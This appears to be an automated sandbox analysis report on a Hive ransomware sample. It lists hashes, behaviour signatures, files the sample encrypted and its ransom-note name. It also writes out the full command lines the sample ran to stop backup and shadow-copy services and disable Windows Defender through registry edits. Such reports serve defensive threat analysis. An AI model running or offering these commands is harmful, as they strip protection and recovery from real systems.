Analysis
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max time kernel
140s -
max time network
147s -
platform
windows10-1703_x64 -
resource
win10-20230220-en -
resource tags
arch:x64arch:x86image:win10-20230220-enlocale:en-usos:windows10-1703-x64system -
submitted
25-05-2023 17:45
Behavioral task
behavioral1
Sample
211xahcou.exe
Resource
win10-20230220-en
Behavioral task
behavioral2
Sample
Hive.elf
Resource
win10-20230220-en
Behavioral task
behavioral3
Sample
hive.exe
Resource
win10-20230220-en
Behavioral task
behavioral4
Sample
hive_linux_elf
Resource
win10-20230220-en
Behavioral task
behavioral5
Sample
linux_hive.elf
Resource
win10-20230220-en
Behavioral task
behavioral6
Sample
sjl8j6ap3.exe
Resource
win10-20230220-en
Behavioral task
behavioral7
Sample
windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
Resource
win10-20230220-en
General
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Target
zi1ysv64h.exe
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Size
3.3MB
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MD5
5384c6825a5707241c11d78529dbbfee
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SHA1
85f5587e8ad534c2e5de0e72450b61ebda93e4fd
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SHA256
3858e95bcf18c692f8321e3f8380c39684edb90bb622f37911144950602cea21
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SHA512
856861295efb9c1b0000b369297cf6905a277c2d7dd0bc238f3884cd22598055450bf0459d68441f135bb77150685a86707ea9320a37e10548b40185f09b961f
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SSDEEP
49152:HJ9mQ5uetkErb/TKvO90dL3BmAFd4A64nsfJ+9NRUMZXuPH9fc0KHPKG/g+eNgiz:HJ9jkl9NbBo9fc0KHYno
Malware Config
Extracted
C:\Program Files\Common Files\Services\K8zJ_HOW_TO_DECRYPT.txt
hive
Signatures
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Deletes Windows Defender Definitions 2 TTPs 1 IoCs
Uses mpcmdrun utility to delete all AV definitions.
pid Process 4348 MpCmdRun.exe -
Hive
A ransomware written in Golang first seen in June 2021.
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description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" reg.exe Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" reg.exe Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe -
Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" reg.exe -
Clears Windows event logs 1 TTPs 3 IoCs
pid Process 1460 wevtutil.exe 396 wevtutil.exe 2372 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 3672 bcdedit.exe 4564 bcdedit.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\WindowsApps\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\Assets\Logos\Square310x310\PaintLargeTile.scale-400.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\Assets\CalculatorAppList.targetsize-60.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\1850_32x32x32.png zi1ysv64h.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\deploy\splash.gif.PYS4WGggU9aXGHrUOFK_CLiddpGKPmNQpZsAOnxQ-YL_3GPLrQHoqkc0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_default_winxp_olv.css.PYS4WGggU9aXGHrUOFK_CLiddpGKPmNQpZsAOnxQ-YL_PVs0qub3fMk0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365HomePremR_SubTest2-ul-oob.xrm-ms.PYS4WGggU9aXGHrUOFK_CLiddpGKPmNQpZsAOnxQ-YL_t-IZc-dv9OY0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.contrast-white_scale-140.png.PYS4WGggU9aXGHrUOFK_CLiddpGKPmNQpZsAOnxQ-YL_K1mlGpcS-340.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\Assets\EmbossBitmaps\8-Point Star_icon.png zi1ysv64h.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-core-multiview_zh_CN.jar.PYS4WGggU9aXGHrUOFK_CLiddpGKPmNQpZsAOnxQ-YL_FeNGQ-KYIBk0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectProR_Trial-pl.xrm-ms.PYS4WGggU9aXGHrUOFK_CLiddpGKPmNQpZsAOnxQ-YL_654TCtmvHZE0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\DailyChallenges\Icons\klondike.png zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\nb-no\ui-strings.js.PYS4WGggU9aXGHrUOFK_CLiddpGKPmNQpZsAOnxQ-YL_AXo72RYXXkk0.2o4xo zi1ysv64h.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\fr-ma\K8zJ_HOW_TO_DECRYPT.txt zi1ysv64h.exe File created C:\Program Files (x86)\Common Files\System\ado\fr-FR\K8zJ_HOW_TO_DECRYPT.txt zi1ysv64h.exe File opened for modification C:\Program Files\Microsoft Office\root\Templates\1033\AdjacencyResume.dotx.PYS4WGggU9aXGHrUOFK_CLiddpGKPmNQpZsAOnxQ-YL_O4cW-S0vltU0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Buttons\GiveUp\GiveUp-up.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppTiles\StoreBadgeLogo.scale-100.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-white\HxCalendarAppList.scale-400.png zi1ysv64h.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\pt-br\K8zJ_HOW_TO_DECRYPT.txt zi1ysv64h.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ink\en-US\correct.avi zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\Assets\contrast-black\AppPackageWideTile.scale-200_contrast-black.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\OneConnectStoreLogo.scale-125.png zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\submission_history.gif.PYS4WGggU9aXGHrUOFK_CLiddpGKPmNQpZsAOnxQ-YL_yhLghHIQkX80.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\plugin.js.PYS4WGggU9aXGHrUOFK_CLiddpGKPmNQpZsAOnxQ-YL_GYoPS3Dti4U0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\ext\localedata.jar.PYS4WGggU9aXGHrUOFK_CLiddpGKPmNQpZsAOnxQ-YL_MKBFGyTpayg0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\ZeroByteFile.PYS4WGggU9aXGHrUOFK_CLiddpGKPmNQpZsAOnxQ-YL_el3nJf6EAw00.2o4xo zi1ysv64h.exe File created C:\Program Files\Microsoft Office\root\Office16\Library\K8zJ_HOW_TO_DECRYPT.txt zi1ysv64h.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\de-de\K8zJ_HOW_TO_DECRYPT.txt zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\_Resources\2.rsrc zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Work\RTL\MedTile.scale-125.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\Assets\VoiceRecorderAppList.contrast-white_targetsize-80_altform-unplated.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\8577_24x24x32.png zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\reviews_joined.gif.PYS4WGggU9aXGHrUOFK_CLiddpGKPmNQpZsAOnxQ-YL_j5Z7bKDGBGM0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\Collections\contrast-white\SmallTile.scale-125_contrast-white.png zi1ysv64h.exe File created C:\Program Files\Microsoft Office\root\Integration\K8zJ_HOW_TO_DECRYPT.txt zi1ysv64h.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\de-de\K8zJ_HOW_TO_DECRYPT.txt zi1ysv64h.exe File opened for modification C:\Program Files\Microsoft Office\root\Document Themes 16\Ion Boardroom.thmx.PYS4WGggU9aXGHrUOFK_CLiddpGKPmNQpZsAOnxQ-YL_00U-LiEM37A0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\Windows Photo Viewer\en-US\ImagingDevices.exe.mui zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Assets\SkypeMedTile.scale-200_contrast-white.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\Assets\VoiceRecorderAppList.contrast-white_targetsize-24.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\Assets\music_offline_demo_page1.jpg zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\Assets\AlarmsAppList.contrast-white_targetsize-64.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\HxCalendarAppList.targetsize-16_altform-unplated.png zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Windows Defender\en-US\MpAsDesc.dll.mui zi1ysv64h.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\mscss7wre_es.dub.PYS4WGggU9aXGHrUOFK_CLiddpGKPmNQpZsAOnxQ-YL_kMm7dR4xqi80.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\Assets\CalculatorAppList.targetsize-16_altform-unplated.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\Assets\WindowsIcons\WindowsCameraAppList.contrast-black_targetsize-36.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\CommonUtils.winmd zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\ThemeCreation\ClassicDeck4.jpg zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\5034_24x24x32.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\8794_48x48x32.png zi1ysv64h.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\sv-se\ui-strings.js.PYS4WGggU9aXGHrUOFK_CLiddpGKPmNQpZsAOnxQ-YL_iJxTOIfPJNE0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-core-multitabs_ja.jar.PYS4WGggU9aXGHrUOFK_CLiddpGKPmNQpZsAOnxQ-YL_oiP00tEi0ZQ0.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\DailyChallenges\Icons\spider.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\Assets\AlarmsAppList.targetsize-64_altform-unplated.png zi1ysv64h.exe File created C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\LAYERS\K8zJ_HOW_TO_DECRYPT.txt zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-black\StoreAppList.targetsize-60.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\Assets\GamesXboxHubSplashScreen.scale-100.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-white\HxMailAppList.targetsize-30.png zi1ysv64h.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\nb-no\K8zJ_HOW_TO_DECRYPT.txt zi1ysv64h.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\en-il\K8zJ_HOW_TO_DECRYPT.txt zi1ysv64h.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogoSmall.contrast-black_scale-80.png.PYS4WGggU9aXGHrUOFK_CLiddpGKPmNQpZsAOnxQ-YL_r__20U8dvI40.2o4xo zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\Lumia.ViewerPlugin\Assets\IconOpenInRefocus.contrast-high_scale-100.png zi1ysv64h.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Emoticons\large\dancing.png zi1ysv64h.exe -
Launches sc.exe 9 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4396 sc.exe 1480 sc.exe 2936 sc.exe 4728 sc.exe 2692 sc.exe 3736 sc.exe 4880 sc.exe 4340 sc.exe 4672 sc.exe -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 4432 vssadmin.exe -
Modifies registry class 3 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\EPP reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\EPP reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EPP reg.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 4656 powershell.exe 4656 powershell.exe 4656 powershell.exe 748 powershell.exe 748 powershell.exe 748 powershell.exe 3480 zi1ysv64h.exe 3480 zi1ysv64h.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeSecurityPrivilege 1460 wevtutil.exe Token: SeBackupPrivilege 1460 wevtutil.exe Token: SeSecurityPrivilege 396 wevtutil.exe Token: SeBackupPrivilege 396 wevtutil.exe Token: SeSecurityPrivilege 2372 wevtutil.exe Token: SeBackupPrivilege 2372 wevtutil.exe Token: SeIncreaseQuotaPrivilege 2720 wmic.exe Token: SeSecurityPrivilege 2720 wmic.exe Token: SeTakeOwnershipPrivilege 2720 wmic.exe Token: SeLoadDriverPrivilege 2720 wmic.exe Token: SeSystemProfilePrivilege 2720 wmic.exe Token: SeSystemtimePrivilege 2720 wmic.exe Token: SeProfSingleProcessPrivilege 2720 wmic.exe Token: SeIncBasePriorityPrivilege 2720 wmic.exe Token: SeCreatePagefilePrivilege 2720 wmic.exe Token: SeBackupPrivilege 2720 wmic.exe Token: SeRestorePrivilege 2720 wmic.exe Token: SeShutdownPrivilege 2720 wmic.exe Token: SeDebugPrivilege 2720 wmic.exe Token: SeSystemEnvironmentPrivilege 2720 wmic.exe Token: SeRemoteShutdownPrivilege 2720 wmic.exe Token: SeUndockPrivilege 2720 wmic.exe Token: SeManageVolumePrivilege 2720 wmic.exe Token: 33 2720 wmic.exe Token: 34 2720 wmic.exe Token: 35 2720 wmic.exe Token: 36 2720 wmic.exe Token: SeIncreaseQuotaPrivilege 1136 wmic.exe Token: SeSecurityPrivilege 1136 wmic.exe Token: SeTakeOwnershipPrivilege 1136 wmic.exe Token: SeLoadDriverPrivilege 1136 wmic.exe Token: SeSystemProfilePrivilege 1136 wmic.exe Token: SeSystemtimePrivilege 1136 wmic.exe Token: SeProfSingleProcessPrivilege 1136 wmic.exe Token: SeIncBasePriorityPrivilege 1136 wmic.exe Token: SeCreatePagefilePrivilege 1136 wmic.exe Token: SeBackupPrivilege 1136 wmic.exe Token: SeRestorePrivilege 1136 wmic.exe Token: SeShutdownPrivilege 1136 wmic.exe Token: SeDebugPrivilege 1136 wmic.exe Token: SeSystemEnvironmentPrivilege 1136 wmic.exe Token: SeRemoteShutdownPrivilege 1136 wmic.exe Token: SeUndockPrivilege 1136 wmic.exe Token: SeManageVolumePrivilege 1136 wmic.exe Token: 33 1136 wmic.exe Token: 34 1136 wmic.exe Token: 35 1136 wmic.exe Token: 36 1136 wmic.exe Token: SeIncreaseQuotaPrivilege 1136 wmic.exe Token: SeSecurityPrivilege 1136 wmic.exe Token: SeTakeOwnershipPrivilege 1136 wmic.exe Token: SeLoadDriverPrivilege 1136 wmic.exe Token: SeSystemProfilePrivilege 1136 wmic.exe Token: SeSystemtimePrivilege 1136 wmic.exe Token: SeProfSingleProcessPrivilege 1136 wmic.exe Token: SeIncBasePriorityPrivilege 1136 wmic.exe Token: SeCreatePagefilePrivilege 1136 wmic.exe Token: SeBackupPrivilege 1136 wmic.exe Token: SeRestorePrivilege 1136 wmic.exe Token: SeShutdownPrivilege 1136 wmic.exe Token: SeDebugPrivilege 1136 wmic.exe Token: SeSystemEnvironmentPrivilege 1136 wmic.exe Token: SeRemoteShutdownPrivilege 1136 wmic.exe Token: SeUndockPrivilege 1136 wmic.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3480 wrote to memory of 3444 3480 zi1ysv64h.exe 67 PID 3480 wrote to memory of 3444 3480 zi1ysv64h.exe 67 PID 3444 wrote to memory of 5020 3444 net.exe 69 PID 3444 wrote to memory of 5020 3444 net.exe 69 PID 3480 wrote to memory of 64 3480 zi1ysv64h.exe 70 PID 3480 wrote to memory of 64 3480 zi1ysv64h.exe 70 PID 64 wrote to memory of 68 64 net.exe 72 PID 64 wrote to memory of 68 64 net.exe 72 PID 3480 wrote to memory of 3932 3480 zi1ysv64h.exe 73 PID 3480 wrote to memory of 3932 3480 zi1ysv64h.exe 73 PID 3932 wrote to memory of 3868 3932 net.exe 75 PID 3932 wrote to memory of 3868 3932 net.exe 75 PID 3480 wrote to memory of 3448 3480 zi1ysv64h.exe 76 PID 3480 wrote to memory of 3448 3480 zi1ysv64h.exe 76 PID 3448 wrote to memory of 4732 3448 net.exe 78 PID 3448 wrote to memory of 4732 3448 net.exe 78 PID 3480 wrote to memory of 2096 3480 zi1ysv64h.exe 79 PID 3480 wrote to memory of 2096 3480 zi1ysv64h.exe 79 PID 2096 wrote to memory of 1124 2096 net.exe 81 PID 2096 wrote to memory of 1124 2096 net.exe 81 PID 3480 wrote to memory of 4256 3480 zi1ysv64h.exe 82 PID 3480 wrote to memory of 4256 3480 zi1ysv64h.exe 82 PID 4256 wrote to memory of 2888 4256 net.exe 84 PID 4256 wrote to memory of 2888 4256 net.exe 84 PID 3480 wrote to memory of 2608 3480 zi1ysv64h.exe 85 PID 3480 wrote to memory of 2608 3480 zi1ysv64h.exe 85 PID 2608 wrote to memory of 4740 2608 net.exe 87 PID 2608 wrote to memory of 4740 2608 net.exe 87 PID 3480 wrote to memory of 1492 3480 zi1ysv64h.exe 88 PID 3480 wrote to memory of 1492 3480 zi1ysv64h.exe 88 PID 1492 wrote to memory of 3656 1492 net.exe 90 PID 1492 wrote to memory of 3656 1492 net.exe 90 PID 3480 wrote to memory of 4556 3480 zi1ysv64h.exe 91 PID 3480 wrote to memory of 4556 3480 zi1ysv64h.exe 91 PID 4556 wrote to memory of 4320 4556 net.exe 93 PID 4556 wrote to memory of 4320 4556 net.exe 93 PID 3480 wrote to memory of 2692 3480 zi1ysv64h.exe 94 PID 3480 wrote to memory of 2692 3480 zi1ysv64h.exe 94 PID 3480 wrote to memory of 3736 3480 zi1ysv64h.exe 96 PID 3480 wrote to memory of 3736 3480 zi1ysv64h.exe 96 PID 3480 wrote to memory of 4880 3480 zi1ysv64h.exe 98 PID 3480 wrote to memory of 4880 3480 zi1ysv64h.exe 98 PID 3480 wrote to memory of 4396 3480 zi1ysv64h.exe 100 PID 3480 wrote to memory of 4396 3480 zi1ysv64h.exe 100 PID 3480 wrote to memory of 1480 3480 zi1ysv64h.exe 102 PID 3480 wrote to memory of 1480 3480 zi1ysv64h.exe 102 PID 3480 wrote to memory of 2936 3480 zi1ysv64h.exe 104 PID 3480 wrote to memory of 2936 3480 zi1ysv64h.exe 104 PID 3480 wrote to memory of 4340 3480 zi1ysv64h.exe 106 PID 3480 wrote to memory of 4340 3480 zi1ysv64h.exe 106 PID 3480 wrote to memory of 4672 3480 zi1ysv64h.exe 108 PID 3480 wrote to memory of 4672 3480 zi1ysv64h.exe 108 PID 3480 wrote to memory of 4728 3480 zi1ysv64h.exe 110 PID 3480 wrote to memory of 4728 3480 zi1ysv64h.exe 110 PID 3480 wrote to memory of 5060 3480 zi1ysv64h.exe 112 PID 3480 wrote to memory of 5060 3480 zi1ysv64h.exe 112 PID 3480 wrote to memory of 4796 3480 zi1ysv64h.exe 114 PID 3480 wrote to memory of 4796 3480 zi1ysv64h.exe 114 PID 3480 wrote to memory of 5104 3480 zi1ysv64h.exe 116 PID 3480 wrote to memory of 5104 3480 zi1ysv64h.exe 116 PID 3480 wrote to memory of 4808 3480 zi1ysv64h.exe 118 PID 3480 wrote to memory of 4808 3480 zi1ysv64h.exe 118 PID 3480 wrote to memory of 4328 3480 zi1ysv64h.exe 120 PID 3480 wrote to memory of 4328 3480 zi1ysv64h.exe 120 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\zi1ysv64h.exe"C:\Users\Admin\AppData\Local\Temp\zi1ysv64h.exe"1⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3480 -
C:\Windows\SYSTEM32\net.exenet.exe stop "SamSs" /y2⤵
- Suspicious use of WriteProcessMemory
PID:3444 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SamSs" /y3⤵PID:5020
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C:\Windows\SYSTEM32\net.exenet.exe stop "SDRSVC" /y2⤵
- Suspicious use of WriteProcessMemory
PID:64 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SDRSVC" /y3⤵PID:68
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C:\Windows\SYSTEM32\net.exenet.exe stop "SstpSvc" /y2⤵
- Suspicious use of WriteProcessMemory
PID:3932 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SstpSvc" /y3⤵PID:3868
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C:\Windows\SYSTEM32\net.exenet.exe stop "UI0Detect" /y2⤵
- Suspicious use of WriteProcessMemory
PID:3448 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "UI0Detect" /y3⤵PID:4732
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C:\Windows\SYSTEM32\net.exenet.exe stop "vmicvss" /y2⤵
- Suspicious use of WriteProcessMemory
PID:2096 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "vmicvss" /y3⤵PID:1124
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C:\Windows\SYSTEM32\net.exenet.exe stop "VSS" /y2⤵
- Suspicious use of WriteProcessMemory
PID:4256 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "VSS" /y3⤵PID:2888
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C:\Windows\SYSTEM32\net.exenet.exe stop "wbengine" /y2⤵
- Suspicious use of WriteProcessMemory
PID:2608 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "wbengine" /y3⤵PID:4740
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C:\Windows\SYSTEM32\net.exenet.exe stop "WebClient" /y2⤵
- Suspicious use of WriteProcessMemory
PID:1492 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "WebClient" /y3⤵PID:3656
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C:\Windows\SYSTEM32\net.exenet.exe stop "UnistoreSvc_17275" /y2⤵
- Suspicious use of WriteProcessMemory
PID:4556 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "UnistoreSvc_17275" /y3⤵PID:4320
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C:\Windows\SYSTEM32\sc.exesc.exe config "SamSs" start= disabled2⤵
- Launches sc.exe
PID:2692
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C:\Windows\SYSTEM32\sc.exesc.exe config "SDRSVC" start= disabled2⤵
- Launches sc.exe
PID:3736
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C:\Windows\SYSTEM32\sc.exesc.exe config "SstpSvc" start= disabled2⤵
- Launches sc.exe
PID:4880
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C:\Windows\SYSTEM32\sc.exesc.exe config "UI0Detect" start= disabled2⤵
- Launches sc.exe
PID:4396
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C:\Windows\SYSTEM32\sc.exesc.exe config "vmicvss" start= disabled2⤵
- Launches sc.exe
PID:1480
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C:\Windows\SYSTEM32\sc.exesc.exe config "VSS" start= disabled2⤵
- Launches sc.exe
PID:2936
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C:\Windows\SYSTEM32\sc.exesc.exe config "wbengine" start= disabled2⤵
- Launches sc.exe
PID:4340
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C:\Windows\SYSTEM32\sc.exesc.exe config "WebClient" start= disabled2⤵
- Launches sc.exe
PID:4672
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C:\Windows\SYSTEM32\sc.exesc.exe config "UnistoreSvc_17275" start= disabled2⤵
- Launches sc.exe
PID:4728
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C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f2⤵PID:5060
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C:\Windows\SYSTEM32\reg.exereg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f2⤵
- Modifies Windows Defender Real-time Protection settings
PID:4796
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C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f2⤵PID:5104
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C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f2⤵PID:4808
